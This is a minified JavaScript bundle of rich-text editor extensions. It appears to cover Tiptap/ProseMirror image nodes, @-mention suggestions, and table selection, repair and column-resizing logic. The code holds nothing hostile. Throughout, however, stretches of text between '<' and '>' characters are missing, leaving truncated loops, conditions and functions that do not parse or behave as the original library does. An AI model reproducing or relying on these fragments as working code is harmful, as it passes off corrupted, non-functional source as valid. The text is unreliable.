0:r.trailingNode)),a}}),Az=Mz,Iz=/(?:^|\s)(!\[(.+|:?)]\((\S+)(?:(?:\s+)["'](\S+)["'])?\))$/,Rz=Cn.create({name:"image",addOptions(){return{inline:!1,allowBase64:!1,HTMLAttributes:{},resize:!1}},inline(){return this.options.inline},group(){return this.options.inline?"inline":"block"},draggable:!0,addAttributes(){return{src:{default:null},alt:{default:null},title:{default:null},width:{default:null},height:{default:null}}},parseHTML(){return[{tag:this.options.allowBase64?"img[src]":'img[src]:not([src^="data:"])'}]},renderHTML({HTMLAttributes:t}){return["img",St(this.options.HTMLAttributes,t)]},parseMarkdown:(t,e)=>e.createNode("image",{src:t.href,title:t.title,alt:t.text}),renderMarkdown:t=>{var e,n,r,a,i,o;const c=(n=(e=t.attrs)==null?void 0:e.src)!=null?n:"",u=(a=(r=t.attrs)==null?void 0:r.alt)!=null?a:"",h=(o=(i=t.attrs)==null?void 0:i.title)!=null?o:"";return h?`![${u}](${c} "${h}")`:`![${u}](${c})`},addNodeView(){if(!this.options.resize||!this.options.resize.enabled||typeof document>"u")return null;const{directions:t,minWidth:e,minHeight:n,alwaysPreserveAspectRatio:r}=this.options.resize;return({node:a,getPos:i,HTMLAttributes:o,editor:c})=>{const u=document.createElement("img");Object.entries(o).forEach(([m,g])=>{if(g!=null)switch(m){case"width":case"height":break;default:u.setAttribute(m,g);break}}),u.src=o.src;const h=new D6({element:u,editor:c,node:a,getPos:i,onResize:(m,g)=>{u.style.width=`${m}px`,u.style.height=`${g}px`},onCommit:(m,g)=>{const y=i();y!==void 0&&this.editor.chain().setNodeSelection(y).updateAttributes(this.name,{width:m,height:g}).run()},onUpdate:(m,g,y)=>m.type===a.type,options:{directions:t,min:{width:e,height:n},preserveAspectRatio:r===!0}}),f=h.dom;return f.style.visibility="hidden",f.style.pointerEvents="none",u.onload=()=>{f.style.visibility="",f.style.pointerEvents=""},h}},addCommands(){return{setImage:t=>({commands:e})=>e.insertContent({type:this.name,attrs:t})}},addInputRules(){return[q2({find:Iz,type:this.type,getAttributes:t=>{const[,,e,n,r]=t;return{src:n,alt:e,title:r}}})]}}),Pz=Rz;function Oz(t){var e;const{char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:c}=t,u=r&&!a,h=_6(n),f=new RegExp(`\\s${h}$`),m=o?"^":"",g=a?"":h,y=u?new RegExp(`${m}${h}.*?(?=\\s${g}|$)`,"gm"):new RegExp(`${m}(?:^)?${h}[^\\s${g}]*`,"gm"),N=((e=c.nodeBefore)==null?void 0:e.isText)&&c.nodeBefore.text;if(!N)return null;const w=c.pos-N.length,v=Array.from(N.matchAll(y)).pop();if(!v||v.input===void 0||v.index===void 0)return null;const k=v.input.slice(Math.max(0,v.index-1),v.index),C=new RegExp(`^[${i==null?void 0:i.join("")}\0]?$`).test(k);if(i!==null&&!C)return null;const E=w+v.index;let T=E+v[0].length;return u&&f.test(N.slice(T-1,T+1))&&(v[0]+=" ",T+=1),E=c.pos?{range:{from:E,to:T},query:v[0].slice(n.length),text:v[0]}:null}var Dz=new tn("suggestion");function Lz({pluginKey:t=Dz,editor:e,char:n="@",allowSpaces:r=!1,allowToIncludeChar:a=!1,allowedPrefixes:i=[" "],startOfLine:o=!1,decorationTag:c="span",decorationClass:u="suggestion",decorationContent:h="",decorationEmptyClass:f="is-empty",command:m=()=>null,items:g=()=>[],render:y=()=>({}),allow:N=()=>!0,findSuggestionMatch:w=Oz,shouldShow:v}){let k;const C=y==null?void 0:y(),E=()=>{const L=e.state.selection.$anchor.pos,R=e.view.coordsAtPos(L),{top:D,right:_,bottom:Z,left:ne}=R;try{return new DOMRect(ne,D,_-ne,Z-D)}catch{return null}},T=(L,R)=>R?()=>{const D=t.getState(e.state),_=D==null?void 0:D.decorationId,Z=L.dom.querySelector(`[data-decoration-id="${_}"]`);return(Z==null?void 0:Z.getBoundingClientRect())||null}:E;function I(L,R){var D;try{const Z=t.getState(L.state),ne=Z!=null&&Z.decorationId?L.dom.querySelector(`[data-decoration-id="${Z.decorationId}"]`):null,fe={editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},query:(Z==null?void 0:Z.query)||null,text:(Z==null?void 0:Z.text)||null,items:[],command:xe=>m({editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},props:xe}),decorationNode:ne,clientRect:T(L,ne)};(D=C==null?void 0:C.onExit)==null||D.call(C,fe)}catch{}const _=L.state.tr.setMeta(R,{exit:!0});L.dispatch(_)}const O=new Kt({key:t,view(){return{update:async(L,R)=>{var D,_,Z,ne,fe,xe,$;const H=(D=this.key)==null?void 0:D.getState(R),oe=(_=this.key)==null?void 0:_.getState(L.state),P=H.active&&oe.active&&H.range.from!==oe.range.from,K=!H.active&&oe.active,V=H.active&&!oe.active,z=!K&&!V&&H.query!==oe.query,U=K||P&&z,le=z||P,J=V||P&&z;if(!U&&!le&&!J)return;const Y=J&&!U?H:oe,B=L.dom.querySelector(`[data-decoration-id="${Y.decorationId}"]`);k={editor:e,range:Y.range,query:Y.query,text:Y.text,items:[],command:re=>m({editor:e,range:Y.range,props:re}),decorationNode:B,clientRect:T(L,B)},U&&((Z=C==null?void 0:C.onBeforeStart)==null||Z.call(C,k)),le&&((ne=C==null?void 0:C.onBeforeUpdate)==null||ne.call(C,k)),(le||U)&&(k.items=await g({editor:e,query:Y.query})),J&&((fe=C==null?void 0:C.onExit)==null||fe.call(C,k)),le&&((xe=C==null?void 0:C.onUpdate)==null||xe.call(C,k)),U&&(($=C==null?void 0:C.onStart)==null||$.call(C,k))},destroy:()=>{var L;k&&((L=C==null?void 0:C.onExit)==null||L.call(C,k))}}},state:{init(){return{active:!1,range:{from:0,to:0},query:null,text:null,composing:!1}},apply(L,R,D,_){const{isEditable:Z}=e,{composing:ne}=e.view,{selection:fe}=L,{empty:xe,from:$}=fe,H={...R},oe=L.getMeta(t);if(oe&&oe.exit)return H.active=!1,H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null,H;if(H.composing=ne,Z&&(xe||e.view.composing)){($R.range.to)&&!ne&&!R.composing&&(H.active=!1);const P=w({char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:fe.$from}),K=`id_${Math.floor(Math.random()*4294967295)}`;P&&N({editor:e,state:_,range:P.range,isActive:R.active})&&(!v||v({editor:e,range:P.range,query:P.query,text:P.text,transaction:L}))?(H.active=!0,H.decorationId=R.decorationId?R.decorationId:K,H.range=P.range,H.query=P.query,H.text=P.text):H.active=!1}else H.active=!1;return H.active||(H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null),H}},props:{handleKeyDown(L,R){var D,_,Z,ne;const{active:fe,range:xe}=O.getState(L.state);if(!fe)return!1;if(R.key==="Escape"||R.key==="Esc"){const H=O.getState(L.state),oe=(D=k==null?void 0:k.decorationNode)!=null?D:null,P=oe??(H!=null&&H.decorationId?L.dom.querySelector(`[data-decoration-id="${H.decorationId}"]`):null);if(((_=C==null?void 0:C.onKeyDown)==null?void 0:_.call(C,{view:L,event:R,range:H.range}))||!1)return!0;const V={editor:e,range:H.range,query:H.query,text:H.text,items:[],command:z=>m({editor:e,range:H.range,props:z}),decorationNode:P,clientRect:P?()=>P.getBoundingClientRect()||null:null};return(Z=C==null?void 0:C.onExit)==null||Z.call(C,V),I(L,t),!0}return((ne=C==null?void 0:C.onKeyDown)==null?void 0:ne.call(C,{view:L,event:R,range:xe}))||!1},decorations(L){const{active:R,range:D,decorationId:_,query:Z}=O.getState(L);if(!R)return null;const ne=!(Z!=null&&Z.length),fe=[u];return ne&&fe.push(f),$t.create(L.doc,[An.inline(D.from,D.to,{nodeName:c,class:fe.join(" "),"data-decoration-id":_,"data-decoration-content":h})])}}});return O}function _z({editor:t,overrideSuggestionOptions:e,extensionName:n,char:r="@"}){const a=new tn;return{editor:t,char:r,pluginKey:a,command:({editor:i,range:o,props:c})=>{var u,h,f;const m=i.view.state.selection.$to.nodeAfter;((u=m==null?void 0:m.text)==null?void 0:u.startsWith(" "))&&(o.to+=1),i.chain().focus().insertContentAt(o,[{type:n,attrs:{...c,mentionSuggestionChar:r}},{type:"text",text:" "}]).run(),(f=(h=i.view.dom.ownerDocument.defaultView)==null?void 0:h.getSelection())==null||f.collapseToEnd()},allow:({state:i,range:o})=>{const c=i.doc.resolve(o.from),u=i.schema.nodes[n];return!!c.parent.type.contentMatch.matchType(u)},...e}}function EC(t){return(t.options.suggestions.length?t.options.suggestions:[t.options.suggestion]).map(e=>_z({editor:t.editor,overrideSuggestionOptions:e,extensionName:t.name,char:e.char}))}function UN(t,e){const n=EC(t),r=n.find(a=>a.char===e);return r||(n.length?n[0]:null)}var zz=Cn.create({name:"mention",priority:101,addOptions(){return{HTMLAttributes:{},renderText({node:t,suggestion:e}){var n,r;return`${(n=e==null?void 0:e.char)!=null?n:"@"}${(r=t.attrs.label)!=null?r:t.attrs.id}`},deleteTriggerWithBackspace:!1,renderHTML({options:t,node:e,suggestion:n}){var r,a;return["span",St(this.HTMLAttributes,t.HTMLAttributes),`${(r=n==null?void 0:n.char)!=null?r:"@"}${(a=e.attrs.label)!=null?a:e.attrs.id}`]},suggestions:[],suggestion:{}}},group:"inline",inline:!0,selectable:!1,atom:!0,addAttributes(){return{id:{default:null,parseHTML:t=>t.getAttribute("data-id"),renderHTML:t=>t.id?{"data-id":t.id}:{}},label:{default:null,parseHTML:t=>t.getAttribute("data-label"),renderHTML:t=>t.label?{"data-label":t.label}:{}},mentionSuggestionChar:{default:"@",parseHTML:t=>t.getAttribute("data-mention-suggestion-char"),renderHTML:t=>({"data-mention-suggestion-char":t.mentionSuggestionChar})}}},parseHTML(){return[{tag:`span[data-type="${this.name}"]`}]},renderHTML({node:t,HTMLAttributes:e}){const n=UN(this,t.attrs.mentionSuggestionChar);if(this.options.renderLabel!==void 0)return console.warn("renderLabel is deprecated use renderText and renderHTML instead"),["span",St({"data-type":this.name},this.options.HTMLAttributes,e),this.options.renderLabel({options:this.options,node:t,suggestion:n})];const r={...this.options};r.HTMLAttributes=St({"data-type":this.name},this.options.HTMLAttributes,e);const a=this.options.renderHTML({options:r,node:t,suggestion:n});return typeof a=="string"?["span",St({"data-type":this.name},this.options.HTMLAttributes,e),a]:a},...G2({nodeName:"mention",name:"@",selfClosing:!0,allowedAttributes:["id","label",{name:"mentionSuggestionChar",skipIfDefault:"@"}],parseAttributes:t=>{const e={},n=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let r=n.exec(t);for(;r!==null;){const[,a,i,o]=r,c=i??o;e[a==="char"?"mentionSuggestionChar":a]=c,r=n.exec(t)}return e},serializeAttributes:t=>Object.entries(t).filter(([,e])=>e!=null).map(([e,n])=>`${e==="mentionSuggestionChar"?"char":e}="${n}"`).join(" ")}),renderText({node:t}){const e={options:this.options,node:t,suggestion:UN(this,t.attrs.mentionSuggestionChar)};return this.options.renderLabel!==void 0?(console.warn("renderLabel is deprecated use renderText and renderHTML instead"),this.options.renderLabel(e)):this.options.renderText(e)},addKeyboardShortcuts(){return{Backspace:()=>this.editor.commands.command(({tr:t,state:e})=>{let n=!1;const{selection:r}=e,{empty:a,anchor:i}=r;if(!a)return!1;let o=new wa,c=0;return e.doc.nodesBetween(i-1,i,(u,h)=>{if(u.type.name===this.name)return n=!0,o=u,c=h,!1}),n&&t.insertText(this.options.deleteTriggerWithBackspace?"":o.attrs.mentionSuggestionChar,c,c+o.nodeSize),n})}},addProseMirrorPlugins(){return EC(this).map(Lz)}}),$z=zz,Fz=Cz;let Nx,wx;if(typeof WeakMap<"u"){let t=new WeakMap;Nx=e=>t.get(e),wx=(e,n)=>(t.set(e,n),n)}else{const t=[];let n=0;Nx=r=>{for(let a=0;a(n==10&&(n=0),t[n++]=r,t[n++]=a)}var pn=class{constructor(t,e,n,r){this.width=t,this.height=e,this.map=n,this.problems=r}findCell(t){for(let e=0;e=n){(i||(i=[])).push({type:"overlong_rowspan",pos:f,n:k-E});break}const T=a+E*e;for(let I=0;Ir&&(i+=h.attrs.colspan)}}for(let o=0;o1&&(n=!0)}e==-1?e=i:e!=i&&(e=Math.max(e,i))}return e}function Hz(t,e,n){t.problems||(t.problems=[]);const r={};for(let a=0;a0;e--)if(t.node(e).type.spec.tableRole=="row")return t.node(0).resolve(t.before(e+1));return null}function Uz(t){for(let e=t.depth;e>0;e--){const n=t.node(e).type.spec.tableRole;if(n==="cell"||n==="header_cell")return t.node(e)}return null}function Ms(t){const e=t.selection.$head;for(let n=e.depth;n>0;n--)if(e.node(n).type.spec.tableRole=="row")return!0;return!1}function zf(t){const e=t.selection;if("$anchorCell"in e&&e.$anchorCell)return e.$anchorCell.pos>e.$headCell.pos?e.$anchorCell:e.$headCell;if("node"in e&&e.node&&e.node.type.spec.tableRole=="cell")return e.$anchor;const n=ko(e.$head)||Kz(e.$head);if(n)return n;throw new RangeError(`No cell found around position ${e.head}`)}function Kz(t){for(let e=t.nodeAfter,n=t.pos;e;e=e.firstChild,n++){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n)}for(let e=t.nodeBefore,n=t.pos;e;e=e.lastChild,n--){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n-e.nodeSize)}}function jx(t){return t.parent.type.spec.tableRole=="row"&&!!t.nodeAfter}function qz(t){return t.node(0).resolve(t.pos+t.nodeAfter.nodeSize)}function q0(t,e){return t.depth==e.depth&&t.pos>=e.start(-1)&&t.pos<=e.end(-1)}function TC(t,e,n){const r=t.node(-1),a=pn.get(r),i=t.start(-1),o=a.nextCell(t.pos-i,e,n);return o==null?null:t.node(0).resolve(i+o)}function So(t,e,n=1){const r={...t,colspan:t.colspan-n};return r.colwidth&&(r.colwidth=r.colwidth.slice(),r.colwidth.splice(e,n),r.colwidth.some(a=>a>0)||(r.colwidth=null)),r}function MC(t,e,n=1){const r={...t,colspan:t.colspan+n};if(r.colwidth){r.colwidth=r.colwidth.slice();for(let a=0;af!=n.pos-i);u.unshift(n.pos-i);const h=u.map(f=>{const m=r.nodeAt(f);if(!m)throw new RangeError(`No cell with offset ${f} found`);const g=i+f+1;return new yS(c.resolve(g),c.resolve(g+m.content.size))});super(h[0].$from,h[0].$to,h),this.$anchorCell=e,this.$headCell=n}map(e,n){const r=e.resolve(n.map(this.$anchorCell.pos)),a=e.resolve(n.map(this.$headCell.pos));if(jx(r)&&jx(a)&&q0(r,a)){const i=this.$anchorCell.node(-1)!=r.node(-1);return i&&this.isRowSelection()?xa.rowSelection(r,a):i&&this.isColSelection()?xa.colSelection(r,a):new xa(r,a)}return Ze.between(r,a)}content(){const e=this.$anchorCell.node(-1),n=pn.get(e),r=this.$anchorCell.start(-1),a=n.rectBetween(this.$anchorCell.pos-r,this.$headCell.pos-r),i={},o=[];for(let u=a.top;u0||v>0){let k=N.attrs;if(w>0&&(k=So(k,0,w)),v>0&&(k=So(k,k.colspan-v,v)),y.lefta.bottom){const k={...N.attrs,rowspan:Math.min(y.bottom,a.bottom)-Math.max(y.top,a.top)};y.top0)return!1;const r=e+this.$anchorCell.nodeAfter.attrs.rowspan,a=n+this.$headCell.nodeAfter.attrs.rowspan;return Math.max(r,a)==this.$headCell.node(-1).childCount}static colSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.top<=c.top?(o.top>0&&(e=u.resolve(i+a.map[o.left])),c.bottom0&&(n=u.resolve(i+a.map[c.left])),o.bottom0)return!1;const o=a+this.$anchorCell.nodeAfter.attrs.colspan,c=i+this.$headCell.nodeAfter.attrs.colspan;return Math.max(o,c)==n.width}eq(e){return e instanceof xa&&e.$anchorCell.pos==this.$anchorCell.pos&&e.$headCell.pos==this.$headCell.pos}static rowSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.left<=c.left?(o.left>0&&(e=u.resolve(i+a.map[o.top*a.width])),c.right0&&(n=u.resolve(i+a.map[c.top*a.width])),o.right{e.push(An.node(r,r+n.nodeSize,{class:"selectedCell"}))}),$t.create(t.doc,e)}function Qz({$from:t,$to:e}){if(t.pos==e.pos||t.pos=0&&!(t.after(a+1)=0&&!(e.before(i+1)>e.start(i));i--,r--);return n==r&&/row|table/.test(t.node(a).type.spec.tableRole)}function Xz({$from:t,$to:e}){let n,r;for(let a=t.depth;a>0;a--){const i=t.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){n=i;break}}for(let a=e.depth;a>0;a--){const i=e.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){r=i;break}}return n!==r&&e.parentOffset===0}function Zz(t,e,n){const r=(e||t).selection,a=(e||t).doc;let i,o;if(r instanceof Xe&&(o=r.node.type.spec.tableRole)){if(o=="cell"||o=="header_cell")i=Ut.create(a,r.from);else if(o=="row"){const c=a.resolve(r.from+1);i=Ut.rowSelection(c,c)}else if(!n){const c=pn.get(r.node),u=r.from+1,h=u+c.map[c.width*c.height-1];i=Ut.create(a,u+1,h)}}else r instanceof Ze&&Qz(r)?i=Ze.create(a,r.from):r instanceof Ze&&Xz(r)&&(i=Ze.create(a,r.$from.start(),r.$from.end()));return i&&(e||(e=t.tr)).setSelection(i),e}const e$=new tn("fix-tables");function IC(t,e,n,r){const a=t.childCount,i=e.childCount;e:for(let o=0,c=0;o{a.type.spec.tableRole=="table"&&(n=t$(t,a,i,n))};return e?e.doc!=t.doc&&IC(e.doc,t.doc,0,r):t.doc.descendants(r),n}function t$(t,e,n,r){const a=pn.get(e);if(!a.problems)return r;r||(r=t.tr);const i=[];for(let u=0;u0){let y="cell";f.firstChild&&(y=f.firstChild.type.spec.tableRole);const N=[];for(let v=0;v0?-1:0;Gz(e,r,a+i)&&(i=a==0||a==e.width?null:0);for(let o=0;o0&&a0&&e.map[c-1]==u||a0?-1:0;i$(e,r,a+c)&&(c=a==0||a==e.height?null:0);for(let h=0,f=e.width*a;h0&&a0&&m==e.map[f-e.width]){const g=n.nodeAt(m).attrs;t.setNodeMarkup(t.mapping.slice(c).map(m+r),null,{...g,rowspan:g.rowspan-1}),h+=g.colspan-1}else if(a0&&n[i]==n[i-1]||r.right0&&n[a]==n[a-t]||r.bottom0){const f=u+1+h.content.size,m=KN(h)?u+1:f;i.replaceWith(m+r.tableStart,f+r.tableStart,c)}i.setSelection(new Ut(i.doc.resolve(u+r.tableStart))),e(i)}return!0}function GN(t,e){const n=hr(t.schema);return h$(({node:r})=>n[r.type.spec.tableRole])(t,e)}function h$(t){return(e,n)=>{const r=e.selection;let a,i;if(r instanceof Ut){if(r.$anchorCell.pos!=r.$headCell.pos)return!1;a=r.$anchorCell.nodeAfter,i=r.$anchorCell.pos}else{var o;if(a=Uz(r.$from),!a)return!1;i=(o=ko(r.$from))===null||o===void 0?void 0:o.pos}if(a==null||i==null||a.attrs.colspan==1&&a.attrs.rowspan==1)return!1;if(n){let c=a.attrs;const u=[],h=c.colwidth;c.rowspan>1&&(c={...c,rowspan:1}),c.colspan>1&&(c={...c,colspan:1});const f=Js(e),m=e.tr;for(let y=0;y{o.attrs[t]!==e&&i.setNodeMarkup(c,null,{...o.attrs,[t]:e})}):i.setNodeMarkup(a.pos,null,{...a.nodeAfter.attrs,[t]:e}),r(i)}return!0}}function p$(t){return function(e,n){if(!Ms(e))return!1;if(n){const r=hr(e.schema),a=Js(e),i=e.tr,o=a.map.cellsInRect(t=="column"?{left:a.left,top:0,right:a.right,bottom:a.map.height}:t=="row"?{left:0,top:a.top,right:a.map.width,bottom:a.bottom}:a),c=o.map(u=>a.table.nodeAt(u));for(let u=0;u{const y=g+i.tableStart,N=o.doc.nodeAt(y);N&&o.setNodeMarkup(y,m,N.attrs)}),r(o)}return!0}}hd("row",{useDeprecatedLogic:!0});hd("column",{useDeprecatedLogic:!0});const m$=hd("cell",{useDeprecatedLogic:!0});function g$(t,e){if(e<0){const n=t.nodeBefore;if(n)return t.pos-n.nodeSize;for(let r=t.index(-1)-1,a=t.before();r>=0;r--){const i=t.node(-1).child(r),o=i.lastChild;if(o)return a-1-o.nodeSize;a-=i.nodeSize}}else{if(t.index()0;r--)if(n.node(r).type.spec.tableRole=="table")return e&&e(t.tr.delete(n.before(r),n.after(r)).scrollIntoView()),!0;return!1}function qu(t,e){const n=t.selection;if(!(n instanceof Ut))return!1;if(e){const r=t.tr,a=hr(t.schema).cell.createAndFill().content;n.forEachCell((i,o)=>{i.content.eq(a)||r.replace(r.mapping.map(o+1),r.mapping.map(o+i.nodeSize-1),new Ie(a,0,0))}),r.docChanged&&e(r)}return!0}function y$(t){if(t.size===0)return null;let{content:e,openStart:n,openEnd:r}=t;for(;e.childCount==1&&(n>0&&r>0||e.child(0).type.spec.tableRole=="table");)n--,r--,e=e.child(0).content;const a=e.child(0),i=a.type.spec.tableRole,o=a.type.schema,c=[];if(i=="row")for(let u=0;u=0;o--){const{rowspan:c,colspan:u}=i.child(o).attrs;for(let h=a;h=e.length&&e.push(be.empty),n[a]r&&(g=g.type.createChecked(So(g.attrs,g.attrs.colspan,f+g.attrs.colspan-r),g.content)),h.push(g),f+=g.attrs.colspan;for(let y=1;ya&&(m=m.type.create({...m.attrs,rowspan:Math.max(1,a-m.attrs.rowspan)},m.content)),u.push(m)}i.push(be.from(u))}n=i,e=a}return{width:t,height:e,rows:n}}function N$(t,e,n,r,a,i,o){const c=t.doc.type.schema,u=hr(c);let h,f;if(a>e.width)for(let m=0,g=0;me.height){const m=[];for(let N=0,w=(e.height-1)*e.width;N=e.width?!1:n.nodeAt(e.map[w+N]).type==u.header_cell;m.push(v?f||(f=u.header_cell.createAndFill()):h||(h=u.cell.createAndFill()))}const g=u.row.create(null,be.from(m)),y=[];for(let N=e.height;N{if(!a)return!1;const i=n.selection;if(i instanceof Ut)return ah(n,r,rt.near(i.$headCell,e));if(t!="horiz"&&!i.empty)return!1;const o=DC(a,t,e);if(o==null)return!1;if(t=="horiz")return ah(n,r,rt.near(n.doc.resolve(i.head+e),e));{const c=n.doc.resolve(o),u=TC(c,t,e);let h;return u?h=rt.near(u,1):e<0?h=rt.near(n.doc.resolve(c.before(-1)),-1):h=rt.near(n.doc.resolve(c.after(-1)),1),ah(n,r,h)}}}function Ju(t,e){return(n,r,a)=>{if(!a)return!1;const i=n.selection;let o;if(i instanceof Ut)o=i;else{const u=DC(a,t,e);if(u==null)return!1;o=new Ut(n.doc.resolve(u))}const c=TC(o.$headCell,t,e);return c?ah(n,r,new Ut(o.$anchorCell,c)):!1}}function j$(t,e){const n=t.state.doc,r=ko(n.resolve(e));return r?(t.dispatch(t.state.tr.setSelection(new Ut(r))),!0):!1}function k$(t,e,n){if(!Ms(t.state))return!1;let r=y$(n);const a=t.state.selection;if(a instanceof Ut){r||(r={width:1,height:1,rows:[be.from(kx(hr(t.state.schema).cell,n))]});const i=a.$anchorCell.node(-1),o=a.$anchorCell.start(-1),c=pn.get(i).rectBetween(a.$anchorCell.pos-o,a.$headCell.pos-o);return r=v$(r,c.right-c.left,c.bottom-c.top),ZN(t.state,t.dispatch,o,c,r),!0}else if(r){const i=zf(t.state),o=i.start(-1);return ZN(t.state,t.dispatch,o,pn.get(i.node(-1)).findCell(i.pos-o),r),!0}else return!1}function S$(t,e){var n;if(e.button!=0||e.ctrlKey||e.metaKey)return;const r=ew(t,e.target);let a;if(e.shiftKey&&t.state.selection instanceof Ut)i(t.state.selection.$anchorCell,e),e.preventDefault();else if(e.shiftKey&&r&&(a=ko(t.state.selection.$anchor))!=null&&((n=yg(t,e))===null||n===void 0?void 0:n.pos)!=a.pos)i(a,e),e.preventDefault();else if(!r)return;function i(u,h){let f=yg(t,h);const m=ii.getState(t.state)==null;if(!f||!q0(u,f))if(m)f=u;else return;const g=new Ut(u,f);if(m||!t.state.selection.eq(g)){const y=t.state.tr.setSelection(g);m&&y.setMeta(ii,u.pos),t.dispatch(y)}}function o(){t.root.removeEventListener("mouseup",o),t.root.removeEventListener("dragstart",o),t.root.removeEventListener("mousemove",c),ii.getState(t.state)!=null&&t.dispatch(t.state.tr.setMeta(ii,-1))}function c(u){const h=u,f=ii.getState(t.state);let m;if(f!=null)m=t.state.doc.resolve(f);else if(ew(t,h.target)!=r&&(m=yg(t,e),!m))return o();m&&i(m,h)}t.root.addEventListener("mouseup",o),t.root.addEventListener("dragstart",o),t.root.addEventListener("mousemove",c)}function DC(t,e,n){if(!(t.state.selection instanceof Ze))return null;const{$head:r}=t.state.selection;for(let a=r.depth-1;a>=0;a--){const i=r.node(a);if((n<0?r.index(a):r.indexAfter(a))!=(n<0?0:i.childCount))return null;if(i.type.spec.tableRole=="cell"||i.type.spec.tableRole=="header_cell"){const o=r.before(a),c=e=="vert"?n>0?"down":"up":n>0?"right":"left";return t.endOfTextblock(c)?o:null}}return null}function ew(t,e){for(;e&&e!=t.dom;e=e.parentNode)if(e.nodeName=="TD"||e.nodeName=="TH")return e;return null}function yg(t,e){const n=t.posAtCoords({left:e.clientX,top:e.clientY});if(!n)return null;let{inside:r,pos:a}=n;return r>=0&&ko(t.state.doc.resolve(r))||ko(t.state.doc.resolve(a))}var C$=class{constructor(e,n){this.node=e,this.defaultCellMinWidth=n,this.dom=document.createElement("div"),this.dom.className="tableWrapper",this.table=this.dom.appendChild(document.createElement("table")),this.table.style.setProperty("--default-cell-min-width",`${n}px`),this.colgroup=this.table.appendChild(document.createElement("colgroup")),Sx(e,this.colgroup,this.table,n),this.contentDOM=this.table.appendChild(document.createElement("tbody"))}update(e){return e.type!=this.node.type?!1:(this.node=e,Sx(e,this.colgroup,this.table,this.defaultCellMinWidth),!0)}ignoreMutation(e){return e.type=="attributes"&&(e.target==this.table||this.colgroup.contains(e.target))}};function Sx(t,e,n,r,a,i){let o=0,c=!0,u=e.firstChild;const h=t.firstChild;if(h){for(let m=0,g=0;mnew r(m,n,g)),new T$(-1,!1)},apply(o,c){return c.apply(o)}},props:{attributes:o=>{const c=Fr.getState(o);return c&&c.activeHandle>-1?{class:"resize-cursor"}:{}},handleDOMEvents:{mousemove:(o,c)=>{M$(o,c,t,a)},mouseleave:o=>{A$(o)},mousedown:(o,c)=>{I$(o,c,e,n)}},decorations:o=>{const c=Fr.getState(o);if(c&&c.activeHandle>-1)return L$(o,c.activeHandle)},nodeViews:{}}});return i}var T$=class ih{constructor(e,n){this.activeHandle=e,this.dragging=n}apply(e){const n=this,r=e.getMeta(Fr);if(r&&r.setHandle!=null)return new ih(r.setHandle,!1);if(r&&r.setDragging!==void 0)return new ih(n.activeHandle,r.setDragging);if(n.activeHandle>-1&&e.docChanged){let a=e.mapping.map(n.activeHandle,-1);return jx(e.doc.resolve(a))||(a=-1),new ih(a,n.dragging)}return n}};function M$(t,e,n,r){if(!t.editable)return;const a=Fr.getState(t.state);if(a&&!a.dragging){const i=P$(e.target);let o=-1;if(i){const{left:c,right:u}=i.getBoundingClientRect();e.clientX-c<=n?o=tw(t,e,"left",n):u-e.clientX<=n&&(o=tw(t,e,"right",n))}if(o!=a.activeHandle){if(!r&&o!==-1){const c=t.state.doc.resolve(o),u=c.node(-1),h=pn.get(u),f=c.start(-1);if(h.colCount(c.pos-f)+c.nodeAfter.attrs.colspan-1==h.width-1)return}LC(t,o)}}}function A$(t){if(!t.editable)return;const e=Fr.getState(t.state);e&&e.activeHandle>-1&&!e.dragging&&LC(t,-1)}function I$(t,e,n,r){var a;if(!t.editable)return!1;const i=(a=t.dom.ownerDocument.defaultView)!==null&&a!==void 0?a:window,o=Fr.getState(t.state);if(!o||o.activeHandle==-1||o.dragging)return!1;const c=t.state.doc.nodeAt(o.activeHandle),u=R$(t,o.activeHandle,c.attrs);t.dispatch(t.state.tr.setMeta(Fr,{setDragging:{startX:e.clientX,startWidth:u}}));function h(m){i.removeEventListener("mouseup",h),i.removeEventListener("mousemove",f);const g=Fr.getState(t.state);g!=null&&g.dragging&&(O$(t,g.activeHandle,nw(g.dragging,m,n)),t.dispatch(t.state.tr.setMeta(Fr,{setDragging:null})))}function f(m){if(!m.which)return h(m);const g=Fr.getState(t.state);if(g&&g.dragging){const y=nw(g.dragging,m,n);rw(t,g.activeHandle,y,r)}}return rw(t,o.activeHandle,u,r),i.addEventListener("mouseup",h),i.addEventListener("mousemove",f),e.preventDefault(),!0}function R$(t,e,{colspan:n,colwidth:r}){const a=r&&r[r.length-1];if(a)return a;const i=t.domAtPos(e);let o=i.node.childNodes[i.offset].offsetWidth,c=n;if(r)for(let u=0;u{var e,n;const r=t.getAttribute("colwidth"),a=r?r.split(",").map(i=>parseInt(i,10)):null;if(!a){const i=(e=t.closest("table"))==null?void 0:e.querySelectorAll("colgroup > col"),o=Array.from(((n=t.parentElement)==null?void 0:n.children)||[]).indexOf(t);if(o&&o>-1&&i&&i[o]){const c=i[o].getAttribute("width");return c?[parseInt(c,10)]:null}}return a}}}},tableRole:"cell",isolating:!0,parseHTML(){return[{tag:"td"}]},renderHTML({HTMLAttributes:t}){return["td",St(this.options.HTMLAttributes,t),0]}}),zC=Cn.create({name:"tableHeader",addOptions(){return{HTMLAttributes:{}}},content:"block+",addAttributes(){return{colspan:{default:1},rowspan:{default:1},colwidth:{default:null,parseHTML:t=>{const e=t.getAttribute("colwidth");return e?e.split(",").map(r=>parseInt(r,10)):null}}}},tableRole:"header_cell",isolating:!0,parseHTML(){return[{tag:"th"}]},renderHTML({HTMLAttributes:t}){return["th",St(this.options.HTMLAttributes,t),0]}}),$C=Cn.create({name:"tableRow",addOptions(){return{HTMLAttributes:{}}},content:"(tableCell | 